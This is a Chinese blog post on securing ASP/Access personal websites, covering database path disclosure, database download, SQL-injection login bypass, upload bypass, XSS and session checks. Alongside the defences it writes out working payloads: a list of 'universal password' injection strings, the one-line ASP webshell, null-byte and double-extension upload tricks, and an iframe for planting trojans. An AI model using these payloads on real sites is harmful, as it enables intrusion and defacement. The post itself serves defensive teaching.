ASP站點需要注意的安全問題

前言:
   最近在做畢業設計,一同學問我asp做的站應該注意哪些安全問題,我納悶了好久,我自己都沒考慮這個問題的,哎,這同學也太認真了!想一想大家努力學習了htmljavascriptasp後,是不是都想自己做個個人主頁掛到網上呢,是不是搞了半天就做了幾個頁面出來了,最後還是到網上找一有後臺的改改,掛網上去了。這下就應該注意一下常見的安全漏洞了,雖然都比較老,可是新手根本不知道有這回事所以老犯這個錯誤的。於是根據自己以前改別人系統的經驗,總結了下,也算是對他的交代,嘿嘿,新手進來,菜鳥飄過,還是那句話。自己不知道,並不表示不存在!下面以我改的主頁來說明下!

1爆庫
原理:
"%5c"暴庫法,它不是網頁本身的漏洞,而是利用了iis解碼方式中的一個特性,如果iis安全設置不周全,而網頁設計者未考慮IIS錯誤,就會被人利用。 爲何要用"%5c"?它實際上是"\"的十六進制代碼,也就是"\"的另一種表示法。當我們把"/"換成十六進制寫法"%5c"時,ie不會對此進行轉換。地址中的"%5c"被原樣提交了.iis收到後解析時,又會將%5c還原成"\",所有調用數據庫的連接文件中都有Server.MapPath方法的作用是將網站中的相對路徑轉變成物理上的絕對路徑。爲何要這樣?因爲連接數據庫時,須指明它的絕對路徑。 字串
也就是說網址目錄只表示從根目錄起的相對位置。當Server.MapPath方法將相對路徑轉爲真實路徑時,它實際是三部分路徑加在一起得到真實路徑的:網頁目前執行時所在的相對路徑,也就是從網站物理根目錄起的相對路徑,設置過iis的人都會知道,每一個網站,都必須指定它在硬盤上的物理目錄,Server.MapPath方法正是通過把"網站根目錄的物理地址+完整的相對路徑",從而得到真實的物理路徑。在這裏,IIS"\"表示真實路徑的目錄關係,而以"/"表示虛擬路徑,這可能就是IE會自動把我們地址中的"\"轉爲"/"的原因,在iis中,"/""\"代表着不同的意義,遇到了"\"時,認爲它已到了根目錄所在的物理路徑,不再往上解析,而這個路徑是不存在的,數據庫連接當然會失敗,於是IIS會報錯,並給出錯誤原因。
我們只有在數據庫相對地址和它的目錄絕對地址之間使用"\""%5c"),才能達到目的。即是在最右邊第一個/處使用%5c成功可能性是最大的.
   conn.asp(數據庫連接文件)暴庫大法,如果說第一種暴庫法是利用了絕對路徑出錯,那麼,這種暴庫法就是利用了相對路徑出錯。 一般來說,只要conn.asp不在根目錄的系統,而調用文件在根目錄,就會出現這種問題。當然這種說法也是經驗性的,準確的說就是,conn.asp與調用它的文件,如果相對位置改變了,就會報錯,暴出數據庫路徑。 字串
利用:
下面是我自己的電腦上測試:訪問
http://localhost/198816/index.asp,正常訪問,
然後將url改成http://localhost/198816%5cindex.asp,出現如下錯誤:
Microsoft JET Database Engine (0x80004005)
找不到文件 'E:\10\data.mdb'
/data.asp, 第 11 
看這裏爆庫出現了,得到了數據庫名字和路徑;
我們可以將其下載,
ie輸入http://localhost/198816/data.mdb,出現下載頁面。
下載了數據庫之後,如果數據庫有密碼,使用access密碼破解器,不要幾秒就可以得到密碼,下面就可以瀏覽所有數據庫的內容了,一般後臺密碼都是MD5加密的,可以直接上MD5網站破解出來!如果無法查詢到,那就是運氣問題了,如果你肉雞夠好夠多,那就慢慢暴力破解吧!不過暴力破解好象沒有誰會這樣做!
Conn爆庫也類似!
防範方法:
在數據庫連接文件中加入容錯語句即可,我在data.asp的開頭加入了,
On Error Resume Next
再在結尾加入錯誤處理語句,
If  Err Then
err.Clear
Set Conn = Nothing
Response.Write "fuck!" 字串
Response.End
End If
現在再去爆庫,你發現頁面只輸出了fuck!爆庫不成功!
下面我們說說即使存在爆庫,在別人知道你數據庫路徑的情況下,別人也無法下載你的數據庫!

2數據庫安全
asp結合access數據庫是最常見的,access數據庫最大的缺點就是容易被搜索到,然後被下載,而暴露帳號和密碼,防止數據庫被下載的常見方法有如下幾種,如果你有更好的方法請告訴我。我也是菜鳥·~~~~
1        將數據庫改成自己都無法記住的BT名字。這種方法對爆庫沒用,而且使用google也有可能搜到數據庫路徑。
2        在數據庫名字中加#號或者%24=$等特區字符,利用URL編碼特性防止下載。
3        去掉後綴,不要擴展名,系統有可以解析成路徑,從而無法下載,當然XP下測試是可以下載的,我的格式是fat32。其他系統沒測試,有人測試了告訴我下,謝謝!
4        加系統文件的後綴,如後綴改爲.db.temp等。聽說系統是不允許下載這些後綴的文件的!
5        在數據庫中建立一個nodown的表,建立一個字段數據類型選擇ole對象。 字串
6        網絡上最常見的方法是,把數據庫後綴改爲asp等系統可以解析的後綴。

6個是網絡上使用的最多的方法,但是也不是完美的,如果別人可以通過留言等其他方法向數據庫提交數據,那就危險了,如果別人提交<%execute(request("a"))%>到數據庫,那麼訪問數據庫就可以執行了此語句,這樣可以執行提交的任意代碼。
當然這個也是可以消除的,我們可以通過在ole對象中加入如<%loop <%loop <%1=2<%2=1這樣的語句,讓asp出錯來防止下載。實現這種效果我採用兩種方法實現過,一.
建立一個nodown的表,nodown的字段,類型選擇ole對象,然後建立一個文本文件。裏面的內容爲<%loop <%loop <%1=2<%2=1,然後打開nodown表,選擇nodown字段,右擊選擇插入對象,選擇由文件創建,瀏覽對位到剛纔建立的文本文件,加入nodown表中,然後把數據庫改爲asp後綴,在訪問,發現出現如下錯誤:
Active Server Pages, ASP 0116 (0x80004005)
Script 塊缺少腳本關閉標記(% >)
/198816/dataasp.asp, 第 577 
說明成功實現。這裏nodown表一定要在其他表的前面,注意了!(我也不知道需要不需要)。
二. 
字串8


使用asp代碼,向數據庫中增加nodown的表和字段,代碼如下:
<%
db="data.mdb" ‘這裏改成數據庫的地址
Set conn = Server.CreateObject("ADODB.Connection")
constr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Server.MapPath(""&db&"")
conn.Open constr
conn.execute(“create table nodown(notdown oleobject)”)
set rs=server.createobject(“adodb.recordset”)
sql=”select * from nodown”
rs.open sql,conn,1,3
rs.addnew
rs(“nodown”).appendchunk(chrB(asc(“<”))&chrB(asc(“%”)))
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
網上的方法還有很多,大體就這兩種,我就不重複了。這裏還有一點數據庫的問題,就是刪除掉大量數據後,數據庫大小並沒有改變,這裏只要使用工具-〉數據庫實用工具-〉壓縮和修復數據庫,就可以了!
我的設置如下:
密碼設置複雜點,並且MD5加密,使用第一種方法加入nodwon表和字段,數據庫後綴改爲asp,名字改爲%24#$%da#%ta@##%conn#.asp. 
字串2


我覺得對於個人主頁來說,已經比較安全了,但是安全不是絕對的.

3萬能密碼
這個就是傳說中的'or'='or'了,雖然危害很大,可直接饒過後臺驗證,進入後臺,但是確實是到處可見。
原理:
如都輸入'or'='or'則如下語句爲真,
sql="select * from admin where adminname='"&request.form("adminname)&"' and adminpass='"&request.form("adminpass")&"'"變成了
sql="select * from admin where adminname=”or'='or” and adminpass=”or'='or”
從而返回真,跳過認證。
利用:
後臺帳號和密碼都或使用一下一種:
1"or "a"="a
2: ')or('a'='a 
3or 1=1--
4'or 1=1--
5a'or' 1=1--
6"or 1=1--
7'or'a'='a
8"or"="a'='a
9'or''='
10'or'='or'
11:最短的萬能登陸密碼 'or'1
12'or 1 or''or''=''or'
還有其他很多!
防範:
有方法是過濾掉單引號,好象其他數據庫裏面還要過濾到單引號的其他編碼。如:
dim name,Pass 字串
name=replace(trim(request.Form("name")),"'","")
Pass=md5(replace(trim(request.form("Pass")),"'",""))
我的登陸驗證還採用了,
ivcode=trim(request.form("ivcode"))ivcode是寫在配置asp文件中的變量,這樣安全更好了,即使知道密碼,存在這個漏洞,不知道定義的ivcode值,一樣無法登陸後臺!

4上傳
上傳這個漏洞比較難以理解,也許大家是多抓包,改包,nc上傳不太熟悉,多練習幾次就可以了。個人主頁中有可以會用到上傳各種文件,如rargifswf,等這樣必須爲這些文件分類存放,這樣在上傳時選擇上傳類型,傳遞想對類型的路徑給上傳頁面,大家是不是都很熟悉,呵呵,其實這樣就形成了上傳漏洞了!
原理:
一、        FilePath.此爲變量,爲上傳頁面傳遞到保存頁面的變量,這裏我們就可以修改其值該爲asp□,然後利用服務器在讀取這段變量時,因爲“□”是二進制的00,服務器認爲該變量語句已經結束了,於是“□”後面的字符也就被忽略掉了,這樣一來,上傳的文件就保存爲了asp後綴了。
二、FileName.這裏指可以上傳修改了後綴爲aaspsp ccerer等類型的asp文件,而饒過過濾和認證.得到shell.,還有通過很多方法饒過認證。還是那句話,我們不知道的並不表示不存在。 
字串8


利用:
可以採取用WinSock抓包,然後用記事本保存提交數據並增加、修改相關內容,再用WinHex修改空格爲二進制,最後用NC提交.建議使用上傳工具直接上傳!免的修改包的麻煩!
防範:
.        路徑定義爲常量.
.        過濾服務器可以解吸的文件類型,並且檢測到上傳危險文件則停止上傳,並且定義只可以上傳的類型!

5注入
  首先我們在IE“Internet選項高級中有一個顯示友好HTTP錯誤信息的選項,取消前面的鉤。這樣纔可以顯示注入!SQL注入的漏洞通常是由於程序員對它不瞭解,設計程序時某個參數過濾不嚴格所致。通常通過在如show.aspid=79後加單引號,如果出錯則初步認定存在注入,然後加and 1=1 ;and 1=2,這裏分辨兩次提交的頁面有不同沒?如果有不同則判定存在漏洞!當然也有字符型和搜索型的,原理都差不多。網上說的太多了,我就不重複了,防範也一般網上都有防範注入的代碼,下過來,包含到需要放注入的頁面即可!

6跨站
一般都是帶有象JAVAScript等這類腳本代碼,這樣在服務裏一旦被執行就形成了所謂的跨站攻擊了。一般來說對於人機交互行比較高的程序,比如論壇,留言版這類程序都比較容易存在跨站script攻擊。所謂跨站腳本漏洞其實就是Html的注入問題,惡意用戶的輸入沒有經過嚴格的控制進入了數據庫最終顯示給來訪的用戶,導致可以在來訪用戶的瀏覽器裏以瀏覽用戶的身份執行HTml代碼.<script>alert(’xss’)</script> <img src="javascript:alert(/xss/)" width=100>,這樣的代碼如果過濾的不是很好的話,直接放入數據庫,再在瀏覽器裏顯示出來,就構成了跨站。個人主頁用的最多的是自己寫的留言本了,這裏如果不加任何的過濾就直接放入數據庫,那麼就構成了跨站,通過<iframe src=”馬地址”>就可以直接掛馬! 
字串6


防堵跨站漏洞,阻止攻擊者利用在被攻擊網站上發佈跨站攻擊語句,不可以信任用戶提交的任何內容,首先代碼裏對用戶輸入的地方和變量都需要仔細檢查長度和對”<”,”>”,”;”,”’”等字符做過濾;其次任何內容寫到頁面之前都必須加以encode,避免不小心把html tag弄出來。這一個層面做好,至少可以堵住超過一半的XSS攻擊。所以防範數據的轉換和過濾是可以在3個地方進行轉換的,在接受數據的時候可以轉換下,在進入數據庫的時候可以轉換下,在輸出數據的時候也可以轉換下.所以我們寫留言本的時候,建議所有數據直接通過htmlencode轉化再放入數據庫,這樣就萬無一失了.

7session安全
在計算機專業術語中,Session是指一個終端用戶與交互系統進行通信的時間間隔,通常指從註冊進入系統到註銷退出系統之間所經過的時間。具體到Web中的Session指的就是用戶在瀏覽某個網站時,從進入網站到瀏覽器關閉所經過的這段時間,也就是用戶瀏覽這個網站所花費的時間。因此從上述的定義中我們可以看到,Session實際上是一個特定的時間概念。一般來說,後臺管理員在登錄頁面輸入賬號密碼後,程序會拿着他提交的用戶名密碼去數據庫的管理員表裏面找,如果有這個人的賬號密碼就認爲你是管理員,然後給你一個表示你身份的Session值;或者程序先把你的用戶名密碼提取出來,然後到數據庫的管理員表裏面取出管理員的賬號密碼來和你提交的相比較,如果相等,就跟上面一樣給你個表示你身份的Sesion值。然後你進入任何一個管理頁面它都要首先驗證你的Session值,如果是管理員就讓你通過,不是的話就引導你回到登錄頁面或者出現一些奇奇怪怪的警告,這些都跟程序員的個人喜好有關。個人主頁很少使用cookie驗證了吧?因爲session驗證比較安全,也比較方便。但是session也可以欺騙的,只是侷限性比較大。 
字串8

  我們自己寫的個人主頁後臺這裏最需要注意的就是session的安全了,每個頁面都要加上判斷是否存在session的語句,最好是把這個放到一個頁面,在後臺每個頁面都連接進來,或則出現直接輸入後臺頁面就可以操作後臺,那就後臺的驗證白做了!這裏要最要注意的就是上傳頁面的驗證了。一定要判斷session驗證了沒,否則別人直接輸入上傳頁面就可以直接上傳文件,那你就等着中馬吧!

後記:
  asp個人主頁安全的一些問題基本都提到了,對我們自己寫一個自己的主頁以及修改別人的系統已經足夠了,但是安全並不是絕對的,還是那句話自己不知道,並不表示不存在!很多知識都來自網上,我只是簡單的總結!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章